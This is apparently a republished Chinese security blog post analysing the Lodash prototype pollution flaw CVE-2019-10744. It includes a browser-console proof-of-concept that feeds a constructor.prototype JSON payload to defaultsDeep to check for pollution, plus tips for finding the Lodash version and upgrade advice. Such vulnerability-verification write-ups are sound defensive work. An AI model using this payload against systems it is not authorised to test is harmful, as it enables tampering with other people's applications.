文章总结: 文档分析了Lodash库4.17.11之前版本存在的原型污染漏洞(CVE-2019-10744),CVSS评分7.3的高危漏洞。通过defaultsDeep方法可实现原型链注入攻击,导致所有对象行为被篡改。提供了完整的漏洞复现POC代码与检测方法,并明确建议升级至4.17.12及以上版本进行修复。 综合评分: 82 文章分类: 漏洞分析,WEB安全,漏洞预警,解决方案,安全工具
lodash库原型污染漏洞(CVE-2019-10744)
原创
zhang3 zhang3
NoteSec
2026年5月4日 22:34 甘肃
在小说阅读器读本章
去阅读
背景描述
Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。
在项目中有时会遇到Lodash指纹信息,或者漏扫扫描出相关漏洞,需要验证漏洞。
漏洞列表
CVE ID : CVE-2019-10744
漏洞等级: 高危
CVSS评分: 7.3
影响范围: 4.17.11之前的所有版本
漏洞复现
首先浏览器使用开发者模式,快捷键(Ctrl+Shift+I),进入控制台。然后在浏览器输入存在漏洞的网站,访问。
poc
// 保存Object原型的原始状态,用于测试后恢复const originalPrototype = Object.prototype.lodash;
// 定义测试用的payloadconst payload = '{"constructor": {"prototype": {"lodash": true}}}';
try { // 解析payload并执行测试 const parsedPayload = JSON.parse(payload);
// 执行可能存在安全问题的操作 _.defaultsDeep({}, parsedPayload);
// 检测是否发生原型污染 if ({}.lodash === true) { alert("存在原型污染漏洞\n\n" + "Lodash的defaultsDeep方法未能正确处理原型链注入,\n" + "这可能导致攻击者修改所有对象的行为。\n" + "建议升级到Lodash 4.17.12或更高版本。"); } else { alert("不存在原型污染漏洞\n\n" + "Lodash的defaultsDeep方法已正确处理原型链注入,\n" + "当前版本是安全的。"); }} catch (error) { alert(`测试过程中发生错误: ${error.message}`);} finally { // 恢复Object原型的原始状态,避免影响其他代码 if (originalPrototype === undefined) { delete Object.prototype.lodash; } else { Object.prototype.lodash = originalPrototype; }}
可以通过全局搜索找到lodash版本:
var a = "4.17.10"; // 这里的 `a` 变量存储了版本号
这段代码是 Lodash 4.17.10 的压缩版(minified)开头部分。
如果是未压缩版本,可以在文件头部看到:
/**
* @license
* Lodash <https://lodash.com/>
* Version: 4.17.10
*/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:NoteSec zhang3 zhang3《lodash库原型污染漏洞(CVE-2019-10744)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论